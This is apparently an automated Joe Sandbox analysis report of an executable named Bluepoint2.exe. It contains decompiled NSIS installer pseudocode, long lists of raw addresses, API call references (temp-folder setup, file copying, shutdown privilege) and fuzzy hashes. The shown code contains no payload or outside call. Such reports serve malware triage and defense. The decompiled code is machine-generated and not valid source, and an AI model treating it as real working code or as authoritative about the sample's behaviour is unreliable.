                                                    																	__eflags = _t153;
                                                    																	if(_t153 != 0) {
                                                    																		CloseHandle(_t153);
                                                    																		_v8 = 0;
                                                    																	}
                                                    																}
                                                    															}
                                                    															 *0x42b800 =  *0x42b800 + 1;
                                                    															_t61 =  &_v12;
                                                    															 *_t61 = _v12 - 1;
                                                    															__eflags =  *_t61;
                                                    														} while ( *_t61 != 0);
                                                    														E00406428(_t202, _t235, 0);
                                                    														goto L67;
                                                    													}
                                                    												}
                                                    												 *_t219 = _t189;
                                                    												_t222 =  &(_t219[2]);
                                                    												_t158 = E0040603F(_t264,  &(_t219[2]));
                                                    												_t265 = _t158;
                                                    												if(_t158 == 0) {
                                                    													goto L68;
                                                    												}
                                                    												E00406668(L"C:\\Users\\engineer\\AppData\\Local\\Temp", _t222);
                                                    												E00406668(0x436000, _t222);
                                                    												_v8 = _t189;
                                                    												goto L51;
                                                    											}
                                                    											asm("cdq");
                                                    											asm("cdq");
                                                    											asm("cdq");
                                                    											_t205 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
                                                    											_t168 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
                                                    											while( *_t219 != _t205 || _t219[1] != _t168) {
                                                    												_t219 = _t219;
                                                    												if(_t219 >= L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ") {
                                                    													continue;
                                                    												}
                                                    												break;
                                                    											}
                                                    											_t189 = 0;
                                                    											goto L48;
                                                    										}
                                                    										GetWindowsDirectoryW(_t235, 0x3fb);
                                                    										lstrcatW(_t235, L"\\Temp");
                                                    										_t171 = E0040360F(_t199, _t253);
                                                    										_t254 = _t171;
                                                    										if(_t171 != 0) {
                                                    											goto L40;
                                                    										}
                                                    										GetTempPathW(0x3fc, _t235);
                                                    										lstrcatW(_t235, L"Low");
                                                    										SetEnvironmentVariableW(L"TEMP", _t235);
                                                    										SetEnvironmentVariableW(L"TMP", _t235);
                                                    										_t176 = E0040360F(_t199, _t254);
                                                    										_t255 = _t176;
                                                    										if(_t176 == 0) {
                                                    											goto L68;
                                                    										}
                                                    										goto L40;
                                                    									}
                                                    									goto L31;
                                                    								}
                                                    								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
                                                    								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
                                                    									goto L29;
                                                    								}
                                                    								_t178 =  *((intOrPtr*)(_t199 + 8));
                                                    								__eflags = _t178 - 0x20;
                                                    								if(_t178 == 0x20) {
                                                    									L28:
                                                    									_t36 =  &_v20;
                                                    									 *_t36 = _v20 | 0x00000004;
                                                    									__eflags =  *_t36;
                                                    									goto L29;
                                                    								}
                                                    								__eflags = _t178 - _t189;
                                                    								if(_t178 != _t189) {
                                                    									goto L29;
                                                    								}
                                                    								goto L28;
                                                    							}
                                                    							_t179 =  *((intOrPtr*)(_t199 + 2));
                                                    							__eflags = _t179 - _t210;
                                                    							if(_t179 == _t210) {
                                                    								L23:
                                                    								 *0x42a300 = 1;
                                                    								goto L24;
                                                    							}
                                                    							__eflags = _t179 - _t189;
                                                    							if(_t179 != _t189) {
                                                    								goto L24;
                                                    							}
                                                    							goto L23;
                                                    						}
                                                    					} else {
                                                    						goto L16;
                                                    					}
                                                    					do {
                                                    						L16:
                                                    						_t199 = _t199 + 2;
                                                    						__eflags =  *_t199 - _t210;
                                                    					} while ( *_t199 == _t210);
                                                    					goto L17;
                                                    				}
                                                    				goto L37;
                                                    			}



















































                                                    0x0040364e
                                                    0x0040364f
                                                    0x00403656
                                                    0x00403659
                                                    0x00403660
                                                    0x00403663
                                                    0x00403676
                                                    0x0040367c
                                                    0x0040367f
                                                    0x00403682
                                                    0x00403690
                                                    0x00403698
                                                    0x004036a3
                                                    0x004036bc
                                                    0x004036be
                                                    0x004036c6
                                                    0x004036c6
                                                    0x004036d1
                                                    0x004036d3
                                                    0x004036d3
                                                    0x004036e8
                                                    0x0040370d
                                                    0x0040371b
                                                    0x0040371e
                                                    0x00403725
                                                    0x0040372c
                                                    0x0040372c
                                                    0x00403725
                                                    0x0040372e
                                                    0x00403733
                                                    0x00403734
                                                    0x00403740
                                                    0x00403744
                                                    0x0040374b
                                                    0x00403759
                                                    0x0040375e
                                                    0x00403765
                                                    0x00403769
                                                    0x0040376d
                                                    0x0040376f
                                                    0x0040376f
                                                    0x0040376d
                                                    0x00403776
                                                    0x0040377d
                                                    0x00403783
                                                    0x0040379b
                                                    0x004037ab
                                                    0x004037b0
                                                    0x004037b6
                                                    0x004037bd
                                                    0x004037c4
                                                    0x004037c6
                                                    0x004037c7
                                                    0x004037d1
                                                    0x004037d8
                                                    0x004037da
                                                    0x004037dc
                                                    0x004037dc
                                                    0x004037ef
                                                    0x004037f1
                                                    0x004038eb
                                                    0x004038eb
                                                    0x004038ee
                                                    0x004038f1
                                                    0x00000000
                                                    0x00000000
                                                    0x004037fb
                                                    0x004037fc
                                                    0x004037ff
                                                    0x00403808
                                                    0x00403808
                                                    0x0040380b
                                                    0x0040380e
                                                    0x00403811
                                                    0x00403814
                                                    0x00403814
                                                    0x00403814
                                                    0x00403815
                                                    0x00403819
                                                    0x004038d9
                                                    0x004038e2
                                                    0x004038e4
                                                    0x004038e7
                                                    0x004038ea
                                                    0x004038ea
                                                    0x004038ea
                                                    0x00000000
                                                    0x0040381f
                                                    0x00403820
                                                    0x00403821
                                                    0x00403825
                                                    0x0040383f
                                                    0x00403846
                                                    0x00403859
                                                    0x0040385a
                                                    0x0040386f
                                                    0x00403874
                                                    0x00403876
                                                    0x00403878
                                                    0x00403894
                                                    0x0040389b
                                                    0x004038ae
                                                    0x004038af
                                                    0x004038c4
                                                    0x004038ca
                                                    0x004038cc
                                                    0x004038ce
                                                    0x004038d6
                                                    0x004038d8
                                                    0x00000000
                                                    0x004038d8
                                                    0x004038d2
                                                    0x004038d4
                                                    0x004038f9
                                                    0x004038fd
                                                    0x00403906
                                                    0x0040390b
                                                    0x00403911
                                                    0x0040391c
                                                    0x0040391e
                                                    0x00403923
                                                    0x00403925
                                                    0x0040397d
                                                    0x00403982
                                                    0x0040398b
                                                    0x00403992
                                                    0x00403995
                                                    0x00403b6c
                                                    0x00403b6c
                                                    0x00403b71
                                                    0x00403b7a
                                                    0x00403b97
                                                    0x00403c0f
                                                    0x00403c0f
                                                    0x00403c17
                                                    0x00403c19
                                                    0x00403c19
                                                    0x00403c1f
                                                    0x00403c1f
                                                    0x00403bae
                                                    0x00403bba
                                                    0x00403bcb
                                                    0x00403bd2
                                                    0x00403bd9
                                                    0x00403bd9
                                                    0x00403be1
                                                    0x00403bed
                                                    0x00403bfb
                                                    0x00403c06
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403bef
                                                    0x00403bef
                                                    0x00403bf0
                                                    0x00403bf2
                                                    0x00403bf3
                                                    0x00403bf4
                                                    0x00403bf9
                                                    0x00403c08
                                                    0x00403c0a
                                                    0x00000000
                                                    0x00403c0a
                                                    0x00000000
                                                    0x00403bf9
                                                    0x00403bed
                                                    0x00403b84
                                                    0x00403b8b
                                                    0x00403b8b
                                                    0x004039a1
                                                    0x00403a48
                                                    0x00403a48
                                                    0x00403a54
                                                    0x00000000
                                                    0x00403a54
                                                    0x004039b2
                                                    0x004039ba
                                                    0x00403a0c
                                                    0x00403a0c
                                                    0x00403a12
                                                    0x00403a19
                                                    0x00403a67
                                                    0x00403a69
                                                    0x00403a6e
                                                    0x00403a70
                                                    0x00403a78
                                                    0x00403a78
                                                    0x00403a83
                                                    0x00403a8f
                                                    0x00403a95
                                                    0x00403a97
                                                    0x00403b6a
                                                    0x00403b6a
                                                    0x00403b6a
                                                    0x00000000
                                                    0x00403a9d
                                                    0x00403a9d
                                                    0x00403a9f
                                                    0x00403aa0
                                                    0x00403aa9
                                                    0x00403aa2
                                                    0x00403aa2
                                                    0x00403aa2
                                                    0x00403aaf
                                                    0x00403ab7
                                                    0x00403abe
                                                    0x00403ac6
                                                    0x00403ac6
                                                    0x00403ad3
                                                    0x00403adf
                                                    0x00403ae9
                                                    0x00403ae9
                                                    0x00403aeb
                                                    0x00403af2
                                                    0x00403afc
                                                    0x00403b08
                                                    0x00403b0e
                                                    0x00403b14
                                                    0x00403b17
                                                    0x00403b21
                                                    0x00403b27
                                                    0x00403b29
                                                    0x00403b2d
                                                    0x00403b3e
                                                    0x00403b44
                                                    0x00403b49
                                                    0x00403b4b
                                                    0x00403b4e
                                                    0x00403b54
                                                    0x00403b54
                                                    0x00403b4b
                                                    0x00403b29
                                                    0x00403b57
                                                    0x00403b5e
                                                    0x00403b5e
                                                    0x00403b5e
                                                    0x00403b5e
                                                    0x00403b65
                                                    0x00000000
                                                    0x00403b65
                                                    0x00403a97
                                                    0x00403a1b
                                                    0x00403a1e
                                                    0x00403a22
                                                    0x00403a27
                                                    0x00403a29
                                                    0x00000000
                                                    0x00000000
                                                    0x00403a35
                                                    0x00403a40
                                                    0x00403a45
                                                    0x00000000
                                                    0x00403a45
                                                    0x004039c3
                                                    0x004039db
                                                    0x004039ec
                                                    0x004039ed
                                                    0x004039f1
                                                    0x004039f3
                                                    0x00403a01
                                                    0x00403a08
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403a08
                                                    0x00403a0a
                                                    0x00000000
                                                    0x00403a0a
                                                    0x0040392d
                                                    0x00403939
                                                    0x0040393e
                                                    0x00403943
                                                    0x00403945
                                                    0x00000000
                                                    0x00000000
                                                    0x0040394d
                                                    0x00403955
                                                    0x00403966
                                                    0x0040396e
                                                    0x00403970
                                                    0x00403975
                                                    0x00403977
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403977
                                                    0x00000000
                                                    0x004038d4
                                                    0x0040387d
                                                    0x0040387f
                                                    0x00000000
                                                    0x00000000
                                                    0x00403881
                                                    0x00403885
                                                    0x00403889
                                                    0x00403890
                                                    0x00403890
                                                    0x00403890
                                                    0x00403890
                                                    0x00000000
                                                    0x00403890
                                                    0x0040388b
                                                    0x0040388e
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040388e
                                                    0x00403827
                                                    0x0040382b
                                                    0x0040382e
                                                    0x00403835
                                                    0x00403835
                                                    0x00000000
                                                    0x00403835
                                                    0x00403830
                                                    0x00403833
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403833
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403801
                                                    0x00403801
                                                    0x00403802
                                                    0x00403803
                                                    0x00403803
                                                    0x00000000
                                                    0x00403801
                                                    0x00000000

                                                    APIs
                                                    • SetErrorMode.KERNELBASE(00008001), ref: 00403663
                                                    • GetVersionExW.KERNEL32(?), ref: 0040368C
                                                    • GetVersionExW.KERNEL32(0000011C), ref: 004036A3
                                                    • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
                                                    • #17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
                                                    • OleInitialize.OLE32(00000000), ref: 0040377D
                                                    • SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
                                                    • GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
                                                    • CharNextW.USER32(00000000,"C:\Users\user\Desktop\Bluepoint2.exe" ,00000020,"C:\Users\user\Desktop\Bluepoint2.exe" ,00000000), ref: 004037E9
                                                    • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 0040391C
                                                    • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
                                                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403939
                                                    • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040394D
                                                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403955
                                                    • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
                                                    • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
                                                    • DeleteFileW.KERNELBASE(1033), ref: 00403982
                                                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403A69
                                                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 00403A78
                                                      • Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
                                                    • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403A83
                                                    • lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Bluepoint2.exe" ,00000000,?), ref: 00403A8F
                                                    • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
                                                    • DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
                                                    • CopyFileW.KERNEL32(C:\Users\user\Desktop\Bluepoint2.exe,00420F08,00000001), ref: 00403B21
                                                    • CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
                                                    • OleUninitialize.OLE32(?), ref: 00403B71
                                                    • ExitProcess.KERNEL32 ref: 00403B8B
                                                    • GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
                                                    • ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
                                                    • ExitProcess.KERNEL32 ref: 00403C1F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
                                                    • String ID: "C:\Users\user\Desktop\Bluepoint2.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\Bluepoint2.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                                    • API String ID: 3859024572-1688081614
                                                    • Opcode ID: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
                                                    • Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
                                                    • Opcode Fuzzy Hash: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
                                                    • Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 95%
                                                    			E726F1BFF() {
                                                    				signed int _v8;
                                                    				signed int _v12;
                                                    				signed int _v16;
                                                    				signed int _v20;
                                                    				WCHAR* _v24;
                                                    				WCHAR* _v28;
                                                    				signed int _v32;
                                                    				signed int _v36;
                                                    				signed int _v40;
                                                    				signed int _v44;
                                                    				WCHAR* _v48;
                                                    				signed int _v52;
                                                    				void* _v56;
                                                    				intOrPtr _v60;
                                                    				WCHAR* _t208;
                                                    				signed int _t211;
                                                    				void* _t213;
                                                    				void* _t215;
                                                    				WCHAR* _t217;
                                                    				void* _t225;
                                                    				struct HINSTANCE__* _t226;
                                                    				struct HINSTANCE__* _t227;
                                                    				struct HINSTANCE__* _t229;
                                                    				signed short _t231;
                                                    				struct HINSTANCE__* _t234;
                                                    				struct HINSTANCE__* _t236;
                                                    				void* _t237;
                                                    				intOrPtr* _t238;
                                                    				void* _t249;
                                                    				signed char _t250;
                                                    				signed int _t251;
                                                    				void* _t255;
                                                    				struct HINSTANCE__* _t257;
                                                    				void* _t258;
                                                    				signed int _t260;
                                                    				signed int _t261;
                                                    				signed short* _t264;
                                                    				signed int _t269;
                                                    				signed int _t272;
                                                    				signed int _t274;
                                                    				void* _t277;
                                                    				void* _t281;
                                                    				struct HINSTANCE__* _t283;
                                                    				signed int _t286;
                                                    				void _t287;
                                                    				signed int _t288;
                                                    				signed int _t300;
                                                    				signed int _t301;
                                                    				signed short _t304;
                                                    				void* _t305;
                                                    				signed int _t309;
                                                    				signed int _t312;
                                                    				signed int _t315;
                                                    				signed int _t316;
                                                    				signed int _t317;
                                                    				signed short* _t321;
                                                    				WCHAR* _t322;
                                                    				WCHAR* _t324;
                                                    				WCHAR* _t325;
                                                    				struct HINSTANCE__* _t326;
                                                    				void* _t328;
                                                    				signed int _t331;
                                                    				void* _t332;
                                                    
                                                    				_t283 = 0;
                                                    				_v32 = 0;
                                                    				_v36 = 0;
                                                    				_v16 = 0;
                                                    				_v8 = 0;
                                                    				_v40 = 0;
                                                    				_t332 = 0;
                                                    				_v52 = 0;
                                                    				_v44 = 0;
                                                    				_t208 = E726F12BB();
                                                    				_v24 = _t208;
                                                    				_v28 = _t208;
                                                    				_v48 = E726F12BB();
                                                    				_t321 = E726F12E3();
                                                    				_v56 = _t321;
                                                    				_v12 = _t321;
                                                    				while(1) {
                                                    					_t211 = _v32;
                                                    					_v60 = _t211;
                                                    					if(_t211 != _t283 && _t332 == _t283) {
                                                    						break;
                                                    					}
                                                    					_t286 =  *_t321 & 0x0000ffff;
                                                    					_t213 = _t286 - _t283;
                                                    					if(_t213 == 0) {
                                                    						_t37 =  &_v32;
                                                    						 *_t37 = _v32 | 0xffffffff;
                                                    						__eflags =  *_t37;
                                                    						L20:
                                                    						_t215 = _v60 - _t283;
                                                    						if(_t215 == 0) {
                                                    							__eflags = _t332 - _t283;
                                                    							 *_v28 = _t283;
                                                    							if(_t332 == _t283) {
                                                    								_t255 = GlobalAlloc(0x40, 0x1ca4); // executed
                                                    								_t332 = _t255;
                                                    								 *(_t332 + 0x1010) = _t283;
                                                    								 *(_t332 + 0x1014) = _t283;
                                                    							}
                                                    							_t287 = _v36;
                                                    							_t47 = _t332 + 8; // 0x8
                                                    							_t217 = _t47;
                                                    							_t48 = _t332 + 0x808; // 0x808
                                                    							_t322 = _t48;
                                                    							 *_t332 = _t287;
                                                    							_t288 = _t287 - _t283;
                                                    							__eflags = _t288;
                                                    							 *_t217 = _t283;
                                                    							 *_t322 = _t283;
                                                    							 *(_t332 + 0x1008) = _t283;
                                                    							 *(_t332 + 0x100c) = _t283;
                                                    							 *(_t332 + 4) = _t283;
                                                    							if(_t288 == 0) {
                                                    								__eflags = _v28 - _v24;
                                                    								if(_v28 == _v24) {
                                                    									goto L42;
                                                    								}
                                                    								_t328 = 0;
                                                    								GlobalFree(_t332);
                                                    								_t332 = E726F13B1(_v24);
                                                    								__eflags = _t332 - _t283;
                                                    								if(_t332 == _t283) {
                                                    									goto L42;
                                                    								} else {
                                                    									goto L35;
                                                    								}
                                                    								while(1) {
                                                    									L35:
                                                    									_t249 =  *(_t332 + 0x1ca0);
                                                    									__eflags = _t249 - _t283;
                                                    									if(_t249 == _t283) {
                                                    										break;
                                                    									}
                                                    									_t328 = _t332;
                                                    									_t332 = _t249;
                                                    									__eflags = _t332 - _t283;
                                                    									if(_t332 != _t283) {
                                                    										continue;
                                                    									}
                                                    									break;
                                                    								}
                                                    								__eflags = _t328 - _t283;
                                                    								if(_t328 != _t283) {
                                                    									 *(_t328 + 0x1ca0) = _t283;
                                                    								}
                                                    								_t250 =  *(_t332 + 0x1010);
                                                    								__eflags = _t250 & 0x00000008;
                                                    								if((_t250 & 0x00000008) == 0) {
                                                    									_t251 = _t250 | 0x00000002;
                                                    									__eflags = _t251;
                                                    									 *(_t332 + 0x1010) = _t251;
                                                    								} else {
                                                    									_t332 = E726F162F(_t332);
                                                    									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
                                                    								}
                                                    								goto L42;
                                                    							} else {
                                                    								_t300 = _t288 - 1;
                                                    								__eflags = _t300;
                                                    								if(_t300 == 0) {
                                                    									L31:
                                                    									lstrcpyW(_t217, _v48);
                                                    									L32:
                                                    									lstrcpyW(_t322, _v24);
                                                    									goto L42;
                                                    								}
                                                    								_t301 = _t300 - 1;
                                                    								__eflags = _t301;
                                                    								if(_t301 == 0) {
                                                    									goto L32;
                                                    								}
                                                    								__eflags = _t301 != 1;
                                                    								if(_t301 != 1) {
                                                    									goto L42;
                                                    								}
                                                    								goto L31;
                                                    							}
                                                    						} else {
                                                    							if(_t215 == 1) {
                                                    								_t257 = _v16;
                                                    								if(_v40 == _t283) {
                                                    									_t257 = _t257 - 1;
                                                    								}
                                                    								 *(_t332 + 0x1014) = _t257;
                                                    							}
                                                    							L42:
                                                    							_v12 = _v12 + 2;
                                                    							_v28 = _v24;
                                                    							L59:
                                                    							if(_v32 != 0xffffffff) {
                                                    								_t321 = _v12;
                                                    								continue;
                                                    							}
                                                    							break;
                                                    						}
                                                    					}
                                                    					_t258 = _t213 - 0x23;
                                                    					if(_t258 == 0) {
                                                    						__eflags = _t321 - _v56;
                                                    						if(_t321 <= _v56) {
                                                    							L17:
                                                    							__eflags = _v44 - _t283;
                                                    							if(_v44 != _t283) {
                                                    								L43:
                                                    								_t260 = _v32 - _t283;
                                                    								__eflags = _t260;
                                                    								if(_t260 == 0) {
                                                    									_t261 = _t286;
                                                    									while(1) {
                                                    										__eflags = _t261 - 0x22;
                                                    										if(_t261 != 0x22) {
                                                    											break;
                                                    										}
                                                    										_t321 =  &(_t321[1]);
                                                    										__eflags = _v44 - _t283;
                                                    										_v12 = _t321;
                                                    										if(_v44 == _t283) {
                                                    											_v44 = 1;
                                                    											L162:
                                                    											_v28 =  &(_v28[0]);
                                                    											 *_v28 =  *_t321;
                                                    											L58:
                                                    											_t331 =  &(_t321[1]);
                                                    											__eflags = _t331;
                                                    											_v12 = _t331;
                                                    											goto L59;
                                                    										}
                                                    										_t261 =  *_t321 & 0x0000ffff;
                                                    										_v44 = _t283;
                                                    									}
                                                    									__eflags = _t261 - 0x2a;
                                                    									if(_t261 == 0x2a) {
                                                    										_v36 = 2;
                                                    										L57:
                                                    										_t321 = _v12;
                                                    										_v28 = _v24;
                                                    										_t283 = 0;
                                                    										__eflags = 0;
                                                    										goto L58;
                                                    									}
                                                    									__eflags = _t261 - 0x2d;
                                                    									if(_t261 == 0x2d) {
                                                    										L151:
                                                    										_t304 =  *_t321;
                                                    										__eflags = _t304 - 0x2d;
                                                    										if(_t304 != 0x2d) {
                                                    											L154:
                                                    											_t264 =  &(_t321[1]);
                                                    											__eflags =  *_t264 - 0x3a;
                                                    											if( *_t264 != 0x3a) {
                                                    												goto L162;
                                                    											}
                                                    											__eflags = _t304 - 0x2d;
                                                    											if(_t304 == 0x2d) {
                                                    												goto L162;
                                                    											}
                                                    											_v36 = 1;
                                                    											L157:
                                                    											_v12 = _t264;
                                                    											__eflags = _v28 - _v24;
                                                    											if(_v28 <= _v24) {
                                                    												 *_v48 = _t283;
                                                    											} else {
                                                    												 *_v28 = _t283;
                                                    												lstrcpyW(_v48, _v24);
                                                    											}
                                                    											goto L57;
                                                    										}
                                                    										_t264 =  &(_t321[1]);
                                                    										__eflags =  *_t264 - 0x3e;
                                                    										if( *_t264 != 0x3e) {
                                                    											goto L154;
                                                    										}
                                                    										_v36 = 3;
                                                    										goto L157;
                                                    									}
                                                    									__eflags = _t261 - 0x3a;
                                                    									if(_t261 != 0x3a) {
                                                    										goto L162;
                                                    									}
                                                    									goto L151;
                                                    								}
                                                    								_t269 = _t260 - 1;
                                                    								__eflags = _t269;
                                                    								if(_t269 == 0) {
                                                    									L80:
                                                    									_t305 = _t286 + 0xffffffde;
                                                    									__eflags = _t305 - 0x55;
                                                    									if(_t305 > 0x55) {
                                                    										goto L57;
                                                    									}
                                                    									switch( *((intOrPtr*)(( *(_t305 + 0x726f23e8) & 0x000000ff) * 4 +  &M726F235C))) {
                                                    										case 0:
                                                    											__ecx = _v24;
                                                    											__edi = _v12;
                                                    											while(1) {
                                                    												__edi = __edi + 1;
                                                    												__edi = __edi + 1;
                                                    												_v12 = __edi;
                                                    												__ax =  *__edi;
                                                    												__eflags = __ax - __dx;
                                                    												if(__ax != __dx) {
                                                    													goto L132;
                                                    												}
                                                    												L131:
                                                    												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
                                                    												if( *((intOrPtr*)(__edi + 2)) != __dx) {
                                                    													L136:
                                                    													 *__ecx =  *__ecx & 0x00000000;
                                                    													__eax = E726F12CC(_v24);
                                                    													__ebx = __eax;
                                                    													goto L97;
                                                    												}
                                                    												L132:
                                                    												__eflags = __ax;
                                                    												if(__ax == 0) {
                                                    													goto L136;
                                                    												}
                                                    												__eflags = __ax - __dx;
                                                    												if(__ax == __dx) {
                                                    													__edi = __edi + 1;
                                                    													__edi = __edi + 1;
                                                    													__eflags = __edi;
                                                    												}
                                                    												__ax =  *__edi;
                                                    												 *__ecx =  *__edi;
                                                    												__ecx = __ecx + 1;
                                                    												__ecx = __ecx + 1;
                                                    												__edi = __edi + 1;
                                                    												__edi = __edi + 1;
                                                    												_v12 = __edi;
                                                    												__ax =  *__edi;
                                                    												__eflags = __ax - __dx;
                                                    												if(__ax != __dx) {
                                                    													goto L132;
                                                    												}
                                                    												goto L131;
                                                    											}
                                                    										case 1:
                                                    											_v8 = 1;
                                                    											goto L57;
                                                    										case 2:
                                                    											_v8 = _v8 | 0xffffffff;
                                                    											goto L57;
                                                    										case 3:
                                                    											_v8 = _v8 & 0x00000000;
                                                    											_v20 = _v20 & 0x00000000;
                                                    											_v16 = _v16 + 1;
                                                    											goto L85;
                                                    										case 4:
                                                    											__eflags = _v20;
                                                    											if(_v20 != 0) {
                                                    												goto L57;
                                                    											}
                                                    											_v12 = _v12 - 2;
                                                    											__ebx = E726F12BB();
                                                    											 &_v12 = E726F1B86( &_v12);
                                                    											__eax = E726F1510(__edx, __eax, __edx, __ebx);
                                                    											goto L97;
                                                    										case 5:
                                                    											L105:
                                                    											_v20 = _v20 + 1;
                                                    											goto L57;
                                                    										case 6:
                                                    											_push(7);
                                                    											goto L123;
                                                    										case 7:
                                                    											_push(0x19);
                                                    											goto L143;
                                                    										case 8:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L107;
                                                    										case 9:
                                                    											_push(0x15);
                                                    											goto L143;
                                                    										case 0xa:
                                                    											_push(0x16);
                                                    											goto L143;
                                                    										case 0xb:
                                                    											_push(0x18);
                                                    											goto L143;
                                                    										case 0xc:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L118;
                                                    										case 0xd:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L109;
                                                    										case 0xe:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L111;
                                                    										case 0xf:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L122;
                                                    										case 0x10:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L113;
                                                    										case 0x11:
                                                    											_push(3);
                                                    											goto L123;
                                                    										case 0x12:
                                                    											_push(0x17);
                                                    											L143:
                                                    											_pop(__ebx);
                                                    											goto L98;
                                                    										case 0x13:
                                                    											__eax =  &_v12;
                                                    											__eax = E726F1B86( &_v12);
                                                    											__ebx = __eax;
                                                    											__ebx = __eax + 1;
                                                    											__eflags = __ebx - 0xb;
                                                    											if(__ebx < 0xb) {
                                                    												__ebx = __ebx + 0xa;
                                                    											}
                                                    											goto L97;
                                                    										case 0x14:
                                                    											__ebx = 0xffffffff;
                                                    											goto L98;
                                                    										case 0x15:
                                                    											__eax = 0;
                                                    											__eax = 1;
                                                    											__eflags = 1;
                                                    											goto L116;
